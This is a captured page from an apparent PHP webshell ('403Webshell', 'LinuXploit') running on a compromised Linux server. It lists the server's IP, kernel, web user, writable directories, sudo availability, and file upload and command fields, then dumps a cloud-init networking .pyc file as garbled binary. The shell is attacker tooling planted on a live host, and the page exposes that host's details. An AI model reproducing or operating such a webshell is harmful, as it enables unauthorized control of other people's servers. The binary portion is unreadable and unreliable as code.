403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/__pycache__/networking.cpython-314.pyc
+
��i>+����^RIt^RIt^RIt^RIHtHtHtHt^RIH	t	^RI
Ht]P!]
4t]t]t!RR]P&R7t!RR	]4t!R
R]4t!RR
]4tR#)�N)�net�performance�subp�util)�ifconfig)�Iproute2c�a�]tRt^toRtV3RlRltRR/V3RlRllt]PV3RlR	l4t	V3R
lRlt
V3RlR
ltV3RlRltRt
RR/V3RlRlltV3RlRltV3RlRltV3RlRltV3RlRltV3RlRltV3RlR ltV3R!lR"ltR#R/V3R$lR%lltV3R&lR'ltV3R(lR)lt]PV3R*lR+l4tV3R,lR-ltV3R.lR/ltV3R0lR1ltV3R2lR3lt]PR4R/V3R5lR6ll4tR#R7/V3R8lR9llt]PV3R:lR;l4t R<t!Vt"R#)=�
Networkingz�The root of the Networking hierarchy in cloud-init.

This is part of an ongoing refactor in the cloud-init codebase, for more
details see "``cloudinit.net`` -> ``cloudinit.distros.networking``
Hierarchy" in CONTRIBUTING.rst for full details.
c� <�V^8�dQhRS[/#���return��dict)�format�
__classdict__s"��>/usr/lib/python3/dist-packages/cloudinit/distros/networking.py�__annotate__�Networking.__annotate__s���.�.�$�.�c�,�\P!4#�N)r�_get_current_rename_info��selfs&rr�#Networking._get_current_rename_infos���+�+�-�-r�current_infoNc�$<�V^8�dQhRS[RR/#)r
�renamesrN��list)rrs"�rrrs���J�J�$�J��Jrc�0�\P!WR7#))r)r�_rename_interfaces)rrrs&&$rr#�Networking._rename_interfacess���%�%�g�I�Irc�$<�V^8�dQhRS[RR/#�r
�netcfgrN��
NetworkConfig)rrs"�rrr!s���F�F��F�4�Frc��R#)z7Read the network config and rename devices accordingly.N��rr's&&r�apply_network_config_names�%Networking.apply_network_config_names ��rc� <�V^8�dQhRS[/#�r
�devname��
DeviceName)rrs"�rrr$s���)�)�J�)rc�.�\P!V4#r)r�device_devid�rr2s&&rr6�Networking.device_devid$s������(�(rc� <�V^8�dQhRS[/#r1r3)rrs"�rrr's���*�*�Z�*rc�.�\P!V4#r)r�
device_driverr7s&&rr;�Networking.device_driver's��� � ��)�)rc�&<�V^8�dQhRS[RS[/#)r
r'r)r)r!)rrs"�rrr*s���,�,�}�,��,rc�.�\P!V4#r)r�extract_physdevsr,s&&rr?�Networking.extract_physdevs*s���#�#�F�+�+rc�,�\P!4#r)r�find_fallback_nicrs&rrB�Networking.find_fallback_nic-s���$�$�&�&r�
config_driverFc� <�V^8�dQhRS[/#)r
rD)�bool)rrs"�rrr0s���I�I��Irc�0�\P!VR7#))rD)r�generate_fallback_config)rrDs&$rrH�#Networking.generate_fallback_config0s���+�+�-�H�Hrc� <�V^8�dQhRS[/#rr )rrs"�rrr3����$�$��$rc�,�\P!4#r)r�get_devicelistrs&rrM�Networking.get_devicelist3����!�!�#�#rc� <�V^8�dQhRS[/#rr)rrs"�rrr6s���1�1�T�1rc�,�\P!4#r)r�get_ib_hwaddrs_by_interfacers&rrR�&Networking.get_ib_hwaddrs_by_interface6s���.�.�0�0rc�&<�V^8�dQhRS[RS[/#)r
r2�ethernet_format�r4rF)rrs"�rrr9s!���E�E�!�E�48�Erc�.�\P!W4#r)r�get_ib_interface_hwaddr)rr2rUs&&&rrX�"Networking.get_ib_interface_hwaddr9s���*�*�7�D�Drc� <�V^8�dQhRS[/#r1r3)rrs"�rrr>s���.�.��.rc�.�\P!V4#r)r�get_interface_macr7s&&rr\�Networking.get_interface_mac>����$�$�W�-�-rc� <�V^8�dQhRS[/#rr )rrs"�rrrArKrc�,�\P!4#r)r�get_interfacesrs&rra�Networking.get_interfacesArOrc� <�V^8�dQhRS[/#rr)rrs"�rrrDs���+�+�t�+rc�,�\P!4#r)r�get_interfaces_by_macrs&rre� Networking.get_interfaces_by_macDs���(�(�*�*rc� <�V^8�dQhRS[/#r1r3)rrs"�rrrGs���'�'�*�'rc�.�\P!V4#r)r�
get_masterr7s&&rri�Networking.get_masterG����~�~�g�&�&r�strictc�,<�V^8�dQhRS[RS[RS[/#)r
r2rlrrV)rrs"�rrrJs*���A�A�!�A�.2�A�	
�Arc�0�\P!WR7#))rl)r�interface_has_own_mac)rr2rls&&$rro� Networking.interface_has_own_macJs���(�(��@�@rc�&<�V^8�dQhRS[RS[/#�r
r2rrV)rrs"�rrrO����$�$�z�$�d�$rc�.�\P!V4#r)r�is_bondr7s&&rru�Networking.is_bondO����{�{�7�#�#rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrrRs���&�&��&��&rc�.�\P!V4#r)r�	is_bridger7s&&rrz�Networking.is_bridgeRs���}�}�W�%�%rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrrVs�����:��$�rc��R#)z�
Is ``devname`` a physical network device?

Examples of non-physical network devices: bonds, bridges, tunnels,
loopback devices.
Nr+r7s&&r�is_physical�Networking.is_physicalUr/rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr^s���'�'�*�'��'rc�.�\P!V4#r)r�
is_renamedr7s&&rr��Networking.is_renamed^rkrc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrras���"�"�Z�"�D�"rc�.�\P!V4#r)r�is_upr7s&&rr��Networking.is_upas���y�y��!�!rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrrdrsrc�.�\P!V4#r)r�is_vlanr7s&&rr��Networking.is_vlandrwrc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrrgs���5�5�
�5�t�5rc�.�\P!V4#r)r�master_is_bridge_or_bondr7s&&rr��#Networking.master_is_bridge_or_bondgs���+�+�G�4�4r�existsc�<�V^8�dQhRR/#�r
rNr+)rrs"�rrrks���	�	��	rc��R#)afWait for device population in the system to complete.

:param exists:
    An optional optimisation.  If given, only perform as much of the
    settle process as is required for the given DeviceName to be
    present in the system.  (This may include skipping the settle
    process entirely, if the device already exists.)
:type exists: Optional[DeviceName]
Nr+�rr�s&$r�settle�Networking.settlejr/rTc�*<�V^8�dQhRS[RS[RR/#)r
r'rlrN)r)rF)rrs"�rrrvs%���0$�0$�#�0$�04�0$�	
�0$rc	�D�VPV4p\VUu.uFqD^,V^,3NK	up4p\VP44pVP	4P4p\^4F�pVP
V4'd\PR4R#VPV4p	\PRV	4V	FWp
WZ,pRPV4p\P!VRR7;_uu_4VPVR7RRR4KY	VP	4P4pK�	RX	,p\PV4V'd\V4hR#uupi +'giK�;i)	a�Wait for all the physical devices in `netcfg` to exist on the system

Specifically, this will call `self.settle` 5 times, and check after
each one if the physical devices are now present in the system.

:param netcfg:
    The NetworkConfig from which to extract physical devices to wait
    for.
:param strict:
    Raise a `RuntimeError` if any physical devices are not present
    after waiting.
z*net: all expected physical devices presentNz)net: waiting for expected net devices: %szWaiting for settle or {} exists�always)�log_mode�r�z-Not all expected physical devices present: %s)r?r�set�keysre�range�issubset�LOG�debug�
differencerr�Timedr��warning�RuntimeError)
rr'rl�physdevs�iface�expected_ifaces�
expected_macs�present_macs�_�missing�macr2�msgs
&&$          r�wait_for_physdevs�Networking.wait_for_physdevsvsW���(�(��0���(�K�(��q��5��8� 4�(�K�L���O�0�0�2�3�
��1�1�3�8�8�:���q��A��%�%�l�3�3��	�	�F�G��#�.�.�|�<�G��I�I�A�7�K���)�.��7�>�>�w�G�� �&�&�s�X�>�>��K�K�w�K�/�?�>�	� �5�5�7�<�<�>�L��">��G�����C����s�#�#���; L�*?�>�>�s�F	�F	�F
c�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr�s���L�L�z�L�d�Lrc��R#)z=Try setting the link to up explicitly and return if it is up.Nr+r7s&&r�try_set_link_up�Networking.try_set_link_up�r/rr+)#�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr#�abc�abstractmethodr-r6r;r?rBrHrMrRrXr\rarerirorurzr~r�r�r�r�r�r�r��__static_attributes__�__classdictcell__�rs@rr
r
s������.�.�J��J�J�	���F��F�)�)�*�*�,�,�'�I��I�I�$�$�1�1�E�E�
.�.�$�$�+�+�'�'�A�5:�A�A�
$�$�&�&�	������'�'�"�"�$�$�5�5�	���	�t�	�	��	�0$�7;�0$�0$�d	���L��Lrr
)�	metaclassc��aa�]tRt^�toRtV3Rlt]V3RlRl4tRtV3RlRlt	V3RlR	lt
V3R
lRltV3RlR
ltV3RlRlt
V3RlRltRR/V3RlRlltV3RlRltRtVtV;t#)�
BSDNetworkingz>Implementation of networking functionality shared across BSDs.c�f<�\P!4Vn/Vn\SV`4R#r)r�Ifconfig�ifc�_ifs�super�__init__)r�	__class__s&�rr��BSDNetworking.__init__�s%����$�$�&�����	�
���rc� <�V^8�dQhRS[/#rr)rrs"�rr�BSDNetworking.__annotate__�s�����T�rc�^�VP'gVP4VP#r)r��_update_ifsrs&r�ifs�BSDNetworking.ifs�s!���y�y�y������y�y�rc��\P!RR.4pV^,'d*VPPV^,4VnR#R#)rz-aN)rr��parser�)r�ifconfs& rr��BSDNetworking._update_ifs�s=�����J��-�.���!�9�9������v�a�y�1�D�I�rc�$<�V^8�dQhRS[RR/#r&r()rrs"�rrr��s���6�6��6�4�6rc�0�\PR4R#)z Cannot rename network interface.N)r�r�r,s&&rr-�(BSDNetworking.apply_network_config_names�s���	�	�4�5rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr��s���-�-�:�-�$�-rc�<�VPV,P#r)r�r~r7s&&rr~�BSDNetworking.is_physical�s���x�x�� �,�,�,rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr������)�)�z�)�d�)rc�<�VPV,P#r)r�rur7s&&rru�BSDNetworking.is_bond�����x�x�� �(�(�(rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr��s���+�+��+��+rc�<�VPV,P#r)r�rzr7s&&rrz�BSDNetworking.is_bridge�s���x�x�� �*�*�*rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr��r�rc�<�VPV,P#r)r�r�r7s&&rr��BSDNetworking.is_vlan�r�rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr��s���$�$�Z�$�D�$rc�<�VPV,P#r)r��upr7s&&rr��BSDNetworking.is_up�s���x�x�� �#�#�#rr�Nc�<�V^8�dQhRR/#r�r+)rrs"�rrr��s���?�?��?rc��R#)z0BSD has no equivalent to `udevadm settle`; noop.Nr+r�s&$rr��BSDNetworking.settle�r/rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr������#�#�z�#�d�#rc�V�\P!RVR.4VPV4#)��Try setting the link to up explicitly and return if it is up.
Not guaranteed to bring the interface up. The caller is expected to
add wait times before retrying.rr�)rr�r7s&&rr��BSDNetworking.try_set_link_up�s&��	
�	�	�:�w��-�.��z�z�'�"�"r)r�r�)r�r�r�r�r�r��propertyr�r�r-r~rurzr�r�r�r�r�r��
__classcell__)r�rs@@rr�r��s�����H��
����
2�6�6�-�-�)�)�+�+�)�)�$�$�?�t�?�?�#�#�#rr�c�Da�]tRt^�toV3RlRltV3RlRltRtVtR#)�FreeBSDNetworkingc�$<�V^8�dQhRS[RR/#r&r()rrs"�rr�FreeBSDNetworking.__annotate__�s���
�
��
�4�
rc��R#rr+r,s&&rr-�,FreeBSDNetworking.apply_network_config_names�s��
	
rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr��s�����*���rc��VPV,P'gR#\P!RRV.^^.R7wr#VRPV48XdR#R#)F�devinfoz-p)�rcszdevinfo: {}: Not found
T)r�r~rr)rr2r��errs&&  rr��FreeBSDNetworking.is_renamed�sU���x�x�� �,�,�,�����I�t�W�5�A�q�6�B����,�3�3�G�<�<��rr+N)r�r�r�r�r-r�r�r�r�s@rr�r��s����
�
��rr�c��a�]tRtRtoRtV3RlRltV3RlRltV3RlRltV3R	lR
ltV3RlRlt	V3R
lRlt
V3RlRltV3RlRltRR/V3RlRllt
V3RlRltRtVtR#)�LinuxNetworking�zCImplementation of networking functionality common to Linux distros.c�$<�V^8�dQhRS[RR/#r&r()rrs"�rr�LinuxNetworking.__annotate__s���
�
��
�4�
rc��VPVPV44R# \dp\RT,4ThRp?ii;i)z�Read the network config and rename devices accordingly.

Renames are only attempted for interfaces of type 'physical'. It is
expected that the network system will create other devices with the
correct name in place.
z(Failed to apply network config names: %sN)r#r?r�)rr'�es&& rr-�*LinuxNetworking.apply_network_config_namessH��	��#�#�D�$9�$9�&�$A�B���	��:�Q�>���
��	�s� $�A�A�Ac�&<�V^8�dQhRS[RS[/#rr)r4�str)rrs"�rrrs���-�-�
�-�s�-rc�.�\P!V4#r)r�get_dev_featuresr7s&&rr
� LinuxNetworking.get_dev_featuress���#�#�G�,�,rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrrs���8�8�:�8�$�8rc�.�\P!V4#r)r�has_netfail_standby_featurer7s&&rr�+LinuxNetworking.has_netfail_standby_features���.�.�w�7�7rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrrs���+�+�j�+�T�+rc�.�\P!V4#r)r�is_netfailoverr7s&&rr�LinuxNetworking.is_netfailovers���!�!�'�*�*rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrrs���.�.��.��.rc�.�\P!V4#r)r�is_netfail_masterr7s&&rr�!LinuxNetworking.is_netfail_masterr^rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr����/�/�*�/��/rc�.�\P!V4#r)r�is_netfail_primaryr7s&&rr�"LinuxNetworking.is_netfail_primary����%�%�g�.�.rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr!rrc�.�\P!V4#r)r�is_netfail_standbyr7s&&rr �"LinuxNetworking.is_netfail_standby!rrc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr$s���C�C�:�C�$�Crc�j�\PP\P!VR44#)�device)�os�pathr�r�sys_dev_pathr7s&&rr~�LinuxNetworking.is_physical$s"���w�w�~�~�c�.�.�w��A�B�Brr�Nc�<�V^8�dQhRR/#r�r+)rrs"�rrr's���+�+��+rc�h�Ve\P!V4p\P!VR7R#)Nr�)rr'r�udevadm_settler�s&$rr��LinuxNetworking.settle's&�����%�%�f�-�F����6�*rc�&<�V^8�dQhRS[RS[/#rrrV)rrs"�rrr,r�rc�P�\P!V4VPV4#)r�)r�link_upr�r7s&&rr��LinuxNetworking.try_set_link_up,s!��	����!��z�z�'�"�"rr+)r�r�r�r�r�r-r
rrrrr r~r�r�r�r�r�s@rrrsu����M�
�
�-�-�8�8�+�+�.�.�/�/�/�/�C�C�+�t�+�+�
#�#rr)r��loggingr%�	cloudinitrrrr�cloudinit.distros.parsersr�cloudinit.net.netops.iproute2r�	getLoggerr�r�rr4rr)�ABCMetar
r�r�rr+rr�<module>r7sq��
��	�2�2�.�2�
����!��
�
��
�XL�3�;�;�XL�v/#�J�/#�d�
��B1#�j�1#r

Youez - 2016 - github.com/yon3zu
LinuXploit